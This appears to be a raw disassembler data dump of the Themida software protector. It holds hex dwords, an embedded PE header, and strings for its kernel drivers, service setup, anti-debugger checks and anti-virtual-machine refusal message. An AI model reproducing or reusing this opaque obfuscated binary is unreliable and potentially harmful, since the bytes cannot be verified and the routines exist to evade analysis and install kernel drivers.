dd 24448104h, 1904h, 0C3564600h, 0E02CFD78h, 8C0FF2E4h
dd 1, 6A4BFCh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 150424h, 51410000h, 8BDCB8C3h, 331A5B5h, 2ABF6006h
dd 8B423B24h, 0C65861DFh, 32F3985h, 95894306h, 6031B6Dh
dd 4E8h, 764AA700h, 0FB8B66C0h, 5F526050h, 8B6131B1h, 0BA042444h
dd 69CE8612h, 11E9008Bh, 1D000000h, 0C5FBCA61h, 0F11F91A7h
dd 8422499Ch, 58C8E109h, 4244489h, 8D0Fh, 0B2580000h, 59B5FFC8h
dd 0F060313h, 0E8Eh, 9E900h, 95B40000h, 4E25FE57h, 8D7FA5C7h
dd 338A785h, 0F1BD8B06h, 0FF060322h, 0C88B66D0h, 0BE85093h
dd 80000000h, 4FBBDBFBh, 0F7CA349h, 0BE9B2E8h, 14000000h
dd 0FFA17A9h, 5455B386h, 935E56F9h, 8D8BD0FFh, 6032C85h
dd 72879D8Dh
dd 6A0603h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
dd 50400000h, 34A4DBC3h, 6DD6DF7Ah, 0B52B70F2h, 6030AE9h
dd 1B8h, 0D5B50300h, 0FF06032Ah, 29C18BE3h, 323619Dh, 8BC08B06h
dd 32519B5h, 39BD8306h, 60310h, 0BD830975h, 603111Dh, 50197400h
dd 0B8C08B53h, 40Fh, 23918589h, 9D8D0603h, 605B0F8h, 585BD3FFh
dd 111DBD83h, 74000603h, 0B8535017h, 40Fh, 23918589h, 9D8D0603h
dd 605AD99h, 585BD3FFh, 2DED9529h, 81660603h, 0F5616D7h
dd 683h, 0E9BD8B00h, 8B060302h, 0AAE9C0h, 6F530000h, 61777466h
dd 575C6572h, 694C6E69h, 736E6563h, 68430065h, 496B6365h
dd 7058004Eh, 45746F72h, 746978h, 63656843h, 54554F6Bh
dd 6E695700h, 6563694Ch, 5665736Eh, 69737265h, 57006E6Fh
dd 694C6E69h, 736E6563h, 69724465h, 56726576h, 69737265h
dd 57006E6Fh, 694C6E69h, 736E6563h, 736E4965h, 636E6174h
dd 78450065h, 6B4F7469h, 6F725000h, 4E4963h, 636F7250h
dd 54554Fh, 74697845h, 45004E49h, 4F746978h, 54005455h
dd 4E4970h, 3 dup(0)
dd 77DDAF7Fh, 77DD72F0h, 596E9h, 0B4858900h, 8D0605ABh
dd 5ABB085h, 858D5006h, 605AB1Ah, 16850h, 95FF8000h, 605ABC0h
dd 0B5FF196Ah, 605ABB4h, 6A016Ah, 0AB49858Dh, 0FF500605h
dd 5ABB0B5h, 4195FF06h, 0FF060303h, 5ABB0B5h, 0BC95FF06h
dd 0FF0605ABh, 5ABB0B5h, 2D95FF06h, 0C3060320h, 0ABB48589h
dd 858D0605h, 605ABB0h, 1A858D50h, 500605ABh, 168h, 0C095FF80h
dd 6A0605ABh, 0B4858D04h, 500605ABh, 6A046Ah, 0AB73858Dh
dd 0FF500605h, 5ABB0B5h, 4195FF06h, 0FF060303h, 5ABB0B5h
dd 0BC95FF06h, 0FF0605ABh, 5ABB0B5h, 2D95FF06h, 0C3060320h
dd 0ABB48589h, 858D0605h, 605ABB0h, 1A858D50h, 500605ABh
dd 168h, 0C095FF80h, 6A0605ABh, 0B4858D04h, 500605ABh
dd 6A046Ah, 0AB5B858Dh, 0FF500605h, 5ABB0B5h, 4195FF06h
dd 0FF060303h, 5ABB0B5h, 0BC95FF06h, 0FF0605ABh, 5ABB0B5h
dd 2D95FF06h, 0C3060320h, 0ABB48589h, 858D0605h, 605ABB0h
dd 1A858D50h, 500605ABh, 168h, 0C095FF80h, 6A0605ABh, 0B4858D04h
dd 500605ABh, 6A046Ah, 0AB86858Dh, 0FF500605h, 5ABB0B5h
dd 4195FF06h, 0FF060303h, 5ABB0B5h, 0BC95FF06h, 0FF0605ABh
dd 5ABB0B5h, 2D95FF06h, 0C3060320h, 0ABB48589h, 858D0605h
dd 605ABB0h, 1A858D50h, 500605ABh, 168h, 0C095FF80h, 6A0605ABh
dd 0B4858D04h, 500605ABh, 6A046Ah, 0AB36858Dh, 0FF500605h
dd 5ABB0B5h, 4195FF06h, 0FF060303h, 5ABB0B5h, 0BC95FF06h
dd 0FF0605ABh, 5ABB0B5h, 2D95FF06h, 0C3060320h, 1175BD83h
dd 0F000603h, 0B84h, 759D8B00h, 83060311h, 3894CC3h, 75BD83C3h
dd 60311h, 0B840Fh, 9D8B0000h, 6031175h, 8950C383h, 0BD83C303h
dd 6031175h, 0B840F00h, 8B000000h, 311759Dh, 54C38306h
dd 83C30389h, 31175BDh, 840F0006h, 0Bh, 11759D8Bh, 0C3830603h
dd 0C3038958h, 1175BD83h, 0F000603h, 0B84h, 759D8B00h
dd 83060311h, 3895CC3h, 8960C3C3h, 5ABB485h, 0B0858D06h
dd 500605ABh, 0AB1A858Dh, 68500605h, 80000001h, 0ABC095FFh
dd 46A0605h, 0ABB4858Dh, 6A500605h, 8D006A04h, 5ABAB85h
dd 0B5FF5006h, 605ABB0h, 34195FFh, 0BD830603h, 6031039h
dd 0C840F00h, 0FF000000h, 5ABB0B5h, 0BC95FF06h, 0FF0605ABh
dd 5ABB0B5h, 2D95FF06h, 61060320h, 858960C3h, 605ABB4h
dd 0ABB0858Dh, 8D500605h, 5AB1A85h, 1685006h, 0FF800000h
dd 5ABC095h, 8D046A06h, 5ABB485h, 46A5006h, 858D006Ah
dd 605AB8Dh, 0B0B5FF50h, 0FF0605ABh, 3034195h, 39BD8306h
dd 60310h, 0C840Fh, 0B5FF0000h, 605ABB0h, 0ABBC95FFh, 0B5FF0605h
dd 605ABB0h, 202D95FFh, 0C3610603h, 0B4858960h, 8D0605ABh
dd 5ABB085h, 858D5006h, 605AB1Ah, 16850h, 95FF8000h, 605ABC0h
dd 858D046Ah, 605ABB4h, 6A046A50h, 94858D00h, 500605ABh
dd 0ABB0B5FFh, 95FF0605h, 6030341h, 1039BD83h, 0F000603h
dd 0C84h, 0B0B5FF00h, 0FF0605ABh, 5ABBC95h, 0B0B5FF06h
dd 0FF0605ABh, 3202D95h, 60C36106h, 0ABB48589h, 858D0605h
dd 605ABB0h, 1A858D50h, 500605ABh, 168h, 0C095FF80h, 6A0605ABh
dd 0B4858D04h, 500605ABh, 6A046Ah, 0AB9C858Dh, 0FF500605h
dd 5ABB0B5h, 4195FF06h, 83060303h, 31039BDh, 840F0006h
dd 0Ch, 0ABB0B5FFh, 95FF0605h, 605ABBCh, 0ABB0B5FFh, 95FF0605h
dd 603202Dh, 8960C361h, 5ABB485h, 0B0858D06h, 500605ABh
dd 0AB1A858Dh, 68500605h, 80000001h, 0ABC095FFh, 46A0605h
dd 0ABB4858Dh, 6A500605h, 8D006A04h, 5ABA385h, 0B5FF5006h
dd 605ABB0h, 34195FFh, 0BD830603h, 6031039h, 0C840F00h
dd 0FF000000h, 5ABB0B5h, 0BC95FF06h, 0FF0605ABh, 5ABB0B5h
dd 2D95FF06h, 61060320h, 85C760C3h, 605ABB4h, 1, 0ABB0858Dh
dd 8D500605h, 5AB1A85h, 2685006h, 0FF800000h, 5ABC095h
dd 0FC00B06h, 0F84h, 0B485C700h, 605ABh, 0E9000000h, 4Dh
dd 858D046Ah, 605ABB4h, 6A046A50h, 2E858D00h, 500605ABh
dd 0ABB0B5FFh, 95FF0605h, 6030341h, 840FC00Bh, 0Fh, 0ABB485C7h
dd 605h, 0AE90000h, 0C7000000h, 5ABB485h, 106h, 0B0B5FF00h
dd 0FF0605ABh, 3202D95h, 858B6106h, 605ABB4h, 858960C3h
dd 605ABB4h, 0ABB0858Dh, 8D500605h, 5AB1A85h, 1685006h
dd 0FF800000h, 5ABC095h, 8D046A06h, 5ABB485h, 46A5006h
dd 858D006Ah, 605AB2Eh, 0B0B5FF50h, 0FF0605ABh, 3034195h
dd 39BD8306h, 60310h, 0C840Fh, 0B5FF0000h, 605ABB0h, 0ABBC95FFh
dd 0B5FF0605h, 605ABB0h, 202D95FFh, 0C3610603h, 0B4858960h
dd 8D0605ABh, 5ABB085h, 858D5006h, 605AB1Ah, 16850h, 95FF8000h
dd 605ABC0h, 858D046Ah, 605ABB4h, 6A046A50h, 40858D00h
dd 500605ABh, 0ABB0B5FFh, 95FF0605h, 6030341h, 1039BD83h
dd 0F000603h, 0C84h, 0B0B5FF00h, 0FF0605ABh, 5ABBC95h
dd 0B0B5FF06h, 0FF0605ABh, 3202D95h, 0C6C36106h, 32F3985h
dd 7685206h, 0FFADE47Bh, 30175B5h, 0E995FF06h, 8906031Ch
dd 5ABC085h, 3985C606h, 5206032Fh, 2E00E568h, 75B5FF90h
dd 0FF060301h, 31CE995h, 0BC858906h, 0C60605ABh, 32F3985h
dd 35685206h, 0FFB9BF12h, 30175B5h, 0E995FF06h, 8906031Ch
dd 3034185h, 3985C606h, 5206032Fh, 78103468h, 75B5FF98h
dd 0FF060301h, 31CE995h, 2D858906h, 0C6060320h, 32F3985h
dd 0D4685206h, 0FFC005DBh, 30175B5h, 0E995FF06h, 8906031Ch
dd 31A4D85h, 0CE806h, 71AB0000h, 2C6F3D86h, 0F7DC7EBAh
dd 0B70FC701h, 0C7815FC6h, 5FF4h, 7E9h, 0B237400h, 3B33FA33h
dd 11E8DB33h, 2E000000h, 5CA1FC9Ch, 3AE77976h, 4755BC29h
dd 0DDE7E204h, 728FB866h, 3B34FF5Ah, 81595851h, 7E9FD3F1h
dd 8B665015h, 0E98158D1h, 14DC489Ah, 8870Fh, 800F0000h
dd 2, 0E9815A56h, 706B2FE8h, 0DA53E881h, 0C8914C9h, 8E8811Fh
dd 666474B0h, 0EB83F18Bh, 0EA816602h, 4B4BB98Bh, 0B6B3B5BAh
dd 0A4FB8111h, 0FFFFFA0h, 0FFFFA885h, 5E7DBEFFh, 0EE83962h
dd 0B5000000h, 0B13792C7h, 293870C3h, 0B920B102h, 0F5152F1h
dd 8Ch, 5F5B5900h, 81D98B66h, 64DBC7h, 33C58A00h, 0DE9D2h
dd 0EDF20000h, 5EE64707h, 5BC109A4h, 8B444428h, 810F1734h
dd 2, 0C681FA8Ah, 1DF26F0Bh, 74E4BB66h, 7B01F681h, 0ED802018h
dd 93C68196h, 5642B80Fh, 58D6DC80h, 8FDF8B56h, 0EE91704h
dd 4C000000h, 2FE6C640h, 6E3FB446h, 44CF6205h, 68A0F4Dh
dd 81000000h, 0A3119FC1h, 4EA837Dh, 0C890Fh, 880F0000h
dd 6, 0C836D181h, 0FA815865h, 0FFFF9C08h, 2A850Fh, 10E80000h
dd 0A000000h, 7137297h, 0B70E7A1Dh, 0B5E98B0Ah, 811701A7h
dd 354C5CF0h, 1FE95907h, 28000000h, 30D729D7h, 0B70972A5h
dd 0FF61E9FCh, 0E4A4FFFFh, 147A6346h, 0D705E53Dh, 0E20752FCh
dd 99E97198h, 2F000000h, 63677562h, 6B636568h, 622F0032h
dd 68636775h, 6B6365h, 726F662Fh, 75726563h, 622F006Eh
dd 68636775h, 666B6365h, 6C6C75h, 6F68732Fh, 646F6377h
dd 732F0065h, 63776F68h, 3265646Fh, 6C632F00h, 2F007472h
dd 31736964h, 68732F00h, 6E69776Fh, 6E617473h, 2F006563h
dd 77746567h, 6174736Ch, 737574h, 676F6C2Fh, 74617473h
dd 2F007375h, 706D7564h, 74617473h, 7375h, 2F000000h, 63656863h
dd 6F72706Bh, 74636574h, 6E6F69h, 0
dd 0B407BD83h, 0F000605h, 0A84h, 1D85C700h, 1060311h, 0C6000000h
dd 32F3985h, 0E0684706h, 8115E3C5h, 0A6AD2404h, 0B5FF7A89h
dd 6031359h, 38A7858Dh, 0D0FF0603h, 0F88BD0FFh, 0F223F80h
dd 2285h, 22B04700h, 0F9850FAEh, 80FFFFFFh, 840F003Fh
dd 31Bh, 3F8047h, 311840Fh, 1EE90000h, 80000000h, 840F003Fh
dd 303h, 0F203F80h, 685h, 6E94700h, 47000000h, 0FFFFE2E9h
dd 3F80FFh, 5850Fh, 0E0E90000h, 0E9000002h, 1, 203F8047h
dd 0FFF6840Fh, 3F80FFFFh, 5850F00h, 0E9000000h, 2C3h, 0AE8h
dd 0FFCBE900h, 0B4E9FFFFh, 8D000002h, 5B387B5h, 225E806h
dd 0BD030000h, 605B41Ch, 0B41CBD83h, 0F000605h, 0B84h
dd 3985C700h, 1060310h, 0C3000000h, 0B392B58Dh, 0FCE80605h
dd 3000001h, 5B41CBDh, 1CBD8306h, 605B4h, 0B840Fh, 85C70000h
dd 603111Dh, 1, 0BB58DC3h, 0E80605B4h, 1D3h, 0B41CBD03h
dd 0BD830605h, 605B41Ch, 0B840F00h, 0C7000000h, 32AAD85h
dd 106h, 0B58DC300h, 605B39Ch, 1AAE8h, 1CBD0300h, 830605B4h
dd 5B41CBDh, 840F0006h, 0Bh, 111D85C7h, 10603h, 8DC30000h
dd 5B3A6B5h, 181E806h, 0BD030000h, 605B41Ch, 0B41CBD83h
dd 0F000605h, 1584h, 1D85C700h, 1060311h, 0C7000000h, 3103985h
dd 106h, 0B58DC300h, 605B3B4h, 14EE8h, 1CBD0300h, 830605B4h
dd 5B41CBDh, 840F0006h, 0Ah, 326D85C7h, 10603h, 0B58D0000h
dd 605B3BEh, 126E8h, 1CBD0300h, 830605B4h, 5B41CBDh, 840F0006h
dd 0Ah, 326D85C7h, 10603h, 0B58D0000h, 605B3C9h, 0FEE8h
dd 1CBD0300h, 830605B4h, 5B41CBDh, 840F0006h, 0Ah, 2CED85C7h
dd 10603h, 0B58D0000h, 605B3CFh, 0D6E8h, 1CBD0300h, 830605B4h
dd 5B41CBDh, 840F0006h, 0Ah, 13585C7h, 10603h, 0B58D0000h
dd 605B3D5h, 0AEE8h, 1CBD0300h, 830605B4h, 5B41CBDh, 840F0006h
dd 0Ah, 328585C7h, 10603h, 0B58D0000h, 605B3E3h, 86E8h
dd 1CBD0300h, 830605B4h, 5B41CBDh, 840F0006h, 0Ah, 31B985C7h
dd 10603h, 0B58D0000h, 605B3F0h, 5EE8h, 1CBD0300h, 830605B4h
dd 5B41CBDh, 840F0006h, 0Ah, 37185C7h, 10603h, 0B58D0000h
dd 605B3FBh, 36E8h, 1CBD0300h, 830605B4h, 5B41CBDh, 840F0006h
dd 0Ah, 1C6585C7h, 10603h, 1E90000h, 47000000h, 0F203F80h
dd 984h, 3F8000h, 0FFED850Fh, 60C3FFFFh, 1B9h, 0E9DE8B00h
dd 1Ch, 0F003F80h, 585h, 0B900h, 178A0000h, 840F1638h
dd 2, 4746C92Bh, 0F003E80h, 884h, 0FC90B00h, 0FFFFD385h
dd 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h, 0A850F20h
dd 0B9000000h, 1, 5E9h, 0B900h, 0C90B0000h, 0D840Fh, 0F32B0000h
dd 0B41CB589h, 0AE90605h, 0C7000000h, 5B41C85h, 6, 8BC36100h
dd 20EE9C8h, 43330000h, 6F6E6E61h, 72772074h, 20657469h
dd 6165726Fh, 762E736Eh, 0D0A6478h, 656B614Dh, 72757320h
dd 68742065h, 74207461h, 20736968h, 656C6966h, 20736920h
dd 20746F6Eh, 6E696562h, 73752067h, 62206465h, 6E612079h
dd 6568746Fh, 72702072h, 6172676Fh, 2E6Dh, 67h dup(0)
dd 4F5C0000h, 6E616572h, 78762E73h, 64h, 2 dup(0)
dd 0EFE9h, 3985C600h, 4706032Fh, 0E45B8668h, 59B5FFE3h
dd 8D060313h, 338A785h, 68D0FF06h, 104h, 27059D8Dh, 0FF530603h
dd 0B58D50D0h, 605B992h, 0C032FE8Bh, 0F9850FAEh, 2BFFFFFFh
dd 58CF8BFEh, 0F803FB8Bh, 85C6A4F3h, 6032F39h, 6EFC6843h
dd 0B5FFBC8Eh, 6031359h, 38A7858Dh, 0D0FF0603h, 2705B58Dh
dd 6A0603h, 8068h, 6A026A00h, 68006A00h, 0C0000000h, 8BD0FF56h
dd 3985C6D8h, 5706032Fh, 9BEE5668h, 59B5FFA6h, 8D060313h
dd 338A785h, 8DD0FF06h, 32045BDh, 0B88D8D06h, 6A0605BAh
dd 0D0685700h, 51000037h, 85D0FF53h, 1B850FC0h, 8D000000h
dd 5B79AB5h, 0C3858D06h, 0FF0605A3h, 878D8DD0h, 0B8060372h
dd 0
dd 85C6E1FFh, 6032F39h, 4AA76843h, 0B5FFC076h, 6031359h
dd 38A7858Dh, 0D0FF0603h, 0C3D0FF53h, 37D0B9h, 0E800h
dd 83580000h, 8890EC0h, 2E9h, 0E9C38B00h, 37D0h, 905A4Dh
dd 3, 4, 0FFFFh, 0B8h, 0
dd 40h, 8 dup(0)
dd 0B0h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h
dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
dd 0DB1D175Dh, 3 dup(88737619h), 886156E5h, 88737618h
dd 88737619h, 88737618h, 68636952h, 88737619h, 2 dup(0)
dd 454Ch, 0
dd 40002h, 0
dd 38000h, 14h, 4 dup(0)
dd 200h, 1C0h, 90h, 0
dd 7Eh, 0
dd 0C4h, 1, 0DCh, 3 dup(0)
dd 12Ch, 138h, 2 dup(0)
dd 142h, 196h, 1D2h, 0
dd 1D2h, 0
dd 1000h, 14h, 37C0h, 10h, 0Ch dup(0)
dd 4000000h, 27C0h, 0
dd 2045h, 1, 14h, 444F434Ch, 10000h, 20000h, 30000h, 40000h
dd 50000h, 60000h, 70000h, 80000h, 90000h, 0A0000h, 0B0000h
dd 0C0000h, 0D0000h, 0E0000h, 0F0000h, 100000h, 110000h
dd 120000h, 130000h, 140000h, 52505808h, 5856544Fh, 44h
dd 10301h, 3, 0
dd 13h dup(70000h), 3C0000h, 70000h, 60010018h, 0AD000727h
dd 500101h, 1910007h, 27279B01h, 6F010600h, 7D017927h
dd 85018101h, 8D018901h, 75000701h, 27950101h, 1710007h
dd 7279801h, 1016B00h, 2771h, 2EEh dup(0)
dword_568568 dd 72h dup(0) ; DATA XREF: Themida_:0055DF27o
dd 400h, 1, 4F525058h, 44585654h, 80000000h, 9 dup(0)
aVerpp db 'verPP',0
align 10h
a1vsr2vsr3vsr db '1vsR2vsR3vsR',0
align 10h
dd 9C3h dup(0)
dd 831BE883h, 77309F8h, 8524FFh, 0F8000000h, 0C3h, 8 dup(0)
dd 0C3C03300h, 83C3C033h, 75000C7Eh, 0EBC03304h, 0C7E831Ah
dd 8D147501h, 5, 187E8B00h, 46C70789h, 420h, 0C3C03300h
dd 5250580Ch, 5856544Fh, 44445F44h, 42h, 10A9E9h, 56444100h
dd 33495041h, 4C442E32h, 704F004Ch, 43536E65h, 616E614Dh
dd 41726567h, 65724300h, 53657461h, 69767265h, 416563h
dd 72617453h, 72655374h, 65636976h, 65470041h, 74614E74h
dd 53657669h, 65747379h, 666E496Dh, 704F006Fh, 65536E65h
dd 63697672h, 44004165h, 74656C65h, 72655365h, 65636976h
dd 6F6C4300h, 65536573h, 63697672h, 6E614865h, 656C64h
dd 746E6F43h, 536C6F72h, 69767265h, 6563h, 7 dup(0)
dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0)
aOreansx64_sys db 'oreansx64.sys',0
align 10h
dd 0
dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h
dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h
dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh
dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0)
dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch
dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h
dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch
dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h
dd 6165726Fh, 3233736Eh, 7379732Eh, 49h dup(0)
dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh
dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch
dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h
dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h
dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h
dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h
dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h
dd 6172676Fh, 2E6Dh, 59h dup(0)
dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h
dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h
dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h
dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh
dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h
dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h
dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h
dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h
dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch
dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh
dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h
dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0)
dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
dd 70580000h, 45746F72h, 746E6576h, 0Bh dup(0)
dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch
dd 0
dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h
dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h
dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h
dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h
dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h
dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h
dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h
dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h
dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h
dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh
dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h
dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h
dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h
dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h
dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h
dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h
dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh
dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh
dd 68742072h, 65207369h, 726F7272h, 0
dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h
dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h
dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h
dd 656E6968h, 70h dup(0)
dd 100000h, 1000000h, 0FEFFFF00h, 17Fh, 100h, 24A00h, 1000000h
dd 8000F00h, 940004h, 50000h, 10000h, 0A280000h, 20000h
dd 21h dup(0)
dd 0C48B0000h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 75C35141h, 47E2A479h, 316097DBh, 3305585h, 0CE96106h
dd 36000000h, 509F138Ah, 307EC688h, 89478082h, 31F3D85h
dd 10E906h, 896E0000h, 75DF2FF5h, 0DB105954h, 0EC2C1FEh
dd 0C08B10CFh, 0BD83D68Bh, 6031039h, 83097500h, 3111DBDh
dd 19740006h, 0C08B5350h, 43DB8h, 75858900h, 8D060317h
dd 5B0919Dh, 5BD3FF06h, 1DBD8358h, 60311h, 53501774h, 43DB8h
dd 75858900h, 8D060317h, 5AD809Dh, 5BD3FF06h, 55006A58h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 0C4F58A1h, 0EFA18127h, 299D8991h, 0E906031Ah, 7, 0D1E09FA3h
dd 8B33A64Bh, 0CA1B9C0h, 0C08B16F1h, 2AF9B531h, 0BD830603h
dd 6031039h, 83097500h, 3111DBDh, 13740006h, 0C08B5350h
dd 0B8h, 339D8D00h, 0FF0605AFh, 83585BD3h, 3111DBDh, 11740006h
dd 0B85350h, 8D000000h, 5ADE49Dh, 5BD3FF06h, 60EF8158h
dd 0F3C1B8Fh, 680h, 0B98D8B00h, 8B060305h, 0A18D89C0h
dd 8B060305h, 39BD83C0h, 60310h, 0BD830975h, 603111Dh
dd 50137400h, 0B8C08B53h, 0
dd 0AE659D8Dh, 0D3FF0605h, 0BD83585Bh, 603111Dh, 50117400h
dd 0B853h, 9D8D0000h, 605ADB2h, 585BD3FFh, 0EB816660h
dd 12E98F03h, 2A000000h, 3263FE6Dh, 0B5DC4400h, 28D221BCh
dd 0AEE87B55h, 0C08B61B7h, 0F404BA66h, 8589C08Bh, 60311B1h
dd 1039BD83h, 75000603h, 1DBD8309h, 60311h, 53501374h
dd 0B8C08Bh, 8D000000h, 5AECC9Dh, 5BD3FF06h, 1DBD8358h
dd 60311h, 53501174h, 0B8h, 0CB9D8D00h, 0FF0605ADh, 66585BD3h
dd 34F3D281h, 8BFFB70Fh, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1704h, 0C3554500h, 4F53CE2h, 0E8D6BF0Fh
dd 10h, 0A8D13F5Dh, 5A47FB3Ch, 9E84391Ch, 0E8BB2611h, 0DE8h
dd 0EE73B800h, 7763D9E7h, 3AE1C61h, 5A5FDBF9h, 0EE9C08Bh
dd 0A3000000h, 52F717BCh, 3C52BB60h, 0F1CD2045h, 39BD83C2h
dd 60310h, 0BD830975h, 603111Dh, 50137400h, 0B8C08B53h
dd 0
dd 0ADFE9D8Dh, 0D3FF0605h, 0EF81585Bh, 29A4E73h, 11E8h
dd 0CBEC00h, 757DF527h, 0F925FBEAh, 8B7871A5h, 958BC507h
dd 60324D5h, 6850F5Ah, 9000000h, 322D985h, 80C08B06h, 0C08B29C1h
dd 0FE7ABF66h, 1039BD83h, 75000603h, 1DBD8309h, 60311h
dd 53501974h, 0D0B8C08Bh, 89000007h, 3177585h, 919D8D06h
dd 0FF0605B0h, 83585BD3h, 3111DBDh, 17740006h, 0D0B85350h
dd 89000007h, 3177585h, 809D8D06h, 0FF0605ADh, 8B585BD3h
dd 301798Dh, 89C08B06h, 32301BDh, 1D958B06h, 0C6060303h
dd 32F3985h, 0F515306h, 685AFAB7h, 99395F90h, 0C820Fh
dd 7E90000h, 25000000h, 8BAF8A9Ah, 0B5FFB81Ch, 6031359h
dd 858DD38Bh, 60338A7h, 0A6D9D89h, 0D0FF0603h, 3890Fh
dd 8B660000h, 918589D6h, 0E9060326h, 6, 527555DAh, 85C6CD66h
dd 6032F39h, 52066857h, 0EE99004h, 10000000h, 943DFD3Bh
dd 2489AFB8h, 88DE0443h, 59B5FF14h, 66060313h, 4F4BF781h
dd 38A7858Dh, 0CA8B0603h, 0EA81D0FFh, 3B8FAD6Dh, 3235958Bh
dd 85890603h, 6032015h, 0BE665160h, 0E95A771Ch, 6, 0A20C5CF7h
dd 8B614B38h, 3011DBDh, 3985C606h, 4306032Fh, 68CB8B66h
dd 0BC907028h, 11259501h, 0B5FF0603h, 6031359h, 0D5953160h
dd 6106031Fh, 38A7858Dh, 8D8B0603h, 6032FE9h, 0CE9D0FFh
dd 0FC000000h, 91BAA1B2h, 2E9CE0B4h, 89139F4Ch, 31D5985h
dd 5D952906h, 0C6060330h, 32F3985h, 6E94C06h, 8F000000h
dd 0FCB48D44h, 1CE96899h, 6AD9DAh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1C0424h, 55450000h, 0A58629C3h, 89DF208h
dd 8D8B36DAh, 60321A1h, 0DEB70F60h, 0FF61CA8Bh, 31359B5h
dd 89858906h, 8D060306h, 338A785h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0E4E5523Ah
dd 0FA6AD361h, 58A0FE4h, 0BA000000h, 6EF04787h, 6AD0FFh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
dd 3B8A6EC3h, 8F0F87CFh, 6, 1F898D01h, 85890603h, 6031B09h
dd 2F3985C6h, 89460603h, 33119BDh, 6146806h, 8D0FBADEh
dd 6, 0CF59D89h, 0B5FF0603h, 6031359h, 1FAD952Bh, 858D0603h
dd 60338A7h, 61B0B460h, 850FD0FFh, 6, 20D98D89h, 85890603h
dd 6031D15h, 0D08B6651h, 3985C65Ah, 4706032Fh, 68D0BF0Fh
dd 8A0FB5E2h, 22958D29h, 0B5FF0603h, 6031359h, 8E8h, 0B9943C00h
dd 0DFB5917Dh, 0CF8166BBh, 8D5FCD68h, 338A785h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 88EB7922h, 6AD0FF9Bh, 3E85000h, 20000000h, 8958C358h
